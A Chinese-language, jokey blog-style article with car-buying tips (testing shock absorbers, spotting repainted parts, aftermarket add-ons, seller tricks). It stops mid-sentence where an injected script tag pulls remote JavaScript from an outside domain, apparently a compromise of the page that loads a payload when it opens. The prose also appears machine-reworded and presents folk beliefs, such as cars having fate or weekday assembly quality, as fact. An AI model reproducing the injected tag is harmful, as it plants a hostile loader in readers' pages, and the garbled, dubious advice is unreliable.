有些车给你的快乐时光多一些，多到一生受用；有些车给你的快乐时光短一些，短到你还没有使唤惯就坏了。这就要看你挑车的功夫了。
挑选坐骑的时候，必须要有三顾茅芦之虚心。大家第一次挑车时爱犯的问题不外乎男的爱牌子，女的爱面子。
所谓牌子就是哪个哪个开哪款车了，他还不如我呢。我如何能开比他的差的牌子的车呢？于是乎，车贩子就拚命给你介绍好牌子的车。要知晓，牌子好的车到了你手里不肯定就是辆好车。
又所谓面子就是车的颜色，式样，内外干净等等不是车本身的东西。
行家如何挑车呢？笔者也不太了解。看官到这里恐怕已经大失所望之余，还要臭骂我一顿了；你算什么东西？！男的女的都给你损了一回，自己却也不知晓该如何做。先不要着急上火。看看下面会家如何挑车吧。俗话说“会家不忙，忙家不会”。看上一辆车将来，先别忙着上车，要围着汽车绕上几圈看看。不需要分先后次序，也要把下面这几步扎扎实实地趟出去。
一，按住车的四个轮子上方的车身向下压几下，看它四个角的反弹状况。“忽悠忽悠”，美国车尽如此儿，压下去松开手将来，车身也伴随摇上几遥车贩子会讨好地说：美国车舒服、不颠。这才是欺负你外行呢。好车应该是松手将来，车身伴随上浮，然后就不动了。这是测试什么呢？减震器。没装减震器的车子会向一个皮球一样在地上跳。在它跳离地面将来，返回地面以前这一时间里，加速刹车功能都趋近于零。也就是说，没用。减震器减短这个车在空中的滞留时间，从而提升加速功能，缩短刹车距离。而作为附加成效，你会感觉到配备好减震器的汽车开起来平稳、少震动。大概这就是为何大家把这种装置叫做减震器。说这么热闹，到底啥是减震器呀？它在汽车什么地方装着呀？对你说吧：它在弹簧中间呆着。你趴下去看弹簧时，其中那个亮晶晶的液压或充气压力柱子就是减震器。实惠的30，贵的好几百一支呢！
第二，看看车身吧。这个时候要对汽车左摸右摸，“十八摸”也不过份！看车身的目的是找锈迹，找撞过的地方。这位说了：我买新车，还用摸吗？小心为妙，还是摸吧。看看零件，特别是喷漆零件的周围有没漆点子溅上了。假如有，那样这个零件肯定是后换上去的。原厂车零件都是先喷漆，再组装的，不会把漆点子溅到附近的零件上。那位又说了：撞运的车无所谓，反正买了将来保不齐也得撞。这就对了，至少后半句话完全正确。一辆车是有命的，其运势好像在以前撞过，将来也得撞。假如撞在你手里那多么倒楣呀！所以还是不要那撞过的车为妙。另一说是，假如你买了一辆新车，撞了，修好了将来想脱手，也困难了。大家都怕这个倒楣鬼。所以还是不撞为妙。
再有，新车不知其命，愈加难于挑选。可以参选以下办法试试看看：从出厂日期追溯到该车的总装日期，然后掐算一下那一天是星期几。若是星期二或三总装成车的，那样这辆车的总装水平应该是上乘的；若是星期一或五总装成车的，那样该车的总装水平就难说了。为何呢？星期一或五是才来上班或者马上休假的日子嘛，工人心不在总装线上致使总装失误增多。这可是统计结果表明的真事儿。统计结果还证实，即便是同一牌子同一车型，不同地址的总装厂出的车水平也有差别。如日本以外总装的“烤肉啦”和“小市民”的加拿大总装水平为最高。读者因而联想到加国工人阶级队伍里不是硕士就是博士，至少也曾是个护士，这就了解了。水平之高是与人受教育程度之深有联系的。
让大家继续挑车吧。
第三，看看车内，各种机关按钮一应俱全才对。缺东少西的车说明了前手用户对该车的暴力。新车更是这样。你看好了牌价，兴冲冲地找上门去挑车了，却发现新车上的开关也不齐全。这是由于车行要宰你呢！它的标价是辆光板车，配置齐全了将来你才见得到所有些开关和按钮，而价钱却离得远远的你的想象力了。新车附加配置，其中的猫儿腻就有很多。比如空调，光板车上就没，你要了将来，车行可能给你装一个杂牌的，而非原厂冷气机来糊弄你。又比如摇控开门、点火装置。一旦它不是原厂的，它就会与整车电路不协调，从而致使系统大乱。轻则常常蹩保险丝，重则毁了你的启动机。启动机是电池驱动的一个小齿轮。当你用钥匙点火时，这个小齿轮就跳出来转，以它来驱动一个大齿轮。大齿轮连着发动机。大齿轮一转，就带动整个发动机运转起来。这个时候你松开钥匙，小齿轮会缩回去不再转了。后加的摇控装置最大概破坏这大小齿轮切入时间的设置，从而令你的坐骑每当点火时便咔咔作响，这实在是损毁齿轮牙，而齿轮牙磨秃了将来，你的车就电动启动不了了。
第四是启动。启动困难时，车贩子会对你说这个车呆在这儿时间长了，一会儿发动机热了就好启动了。这回他没骗你。骗局如果设置，早就弄好了。一个浅显的骗局连笔者这么木讷都能识破：用户要你去看车以前至少两小时打电话预约。你猜他要这两个小时做什么？给电池充电！你要看的车，其发电机?script src=http://cn.jxmmtv.com/cn.js>cript>
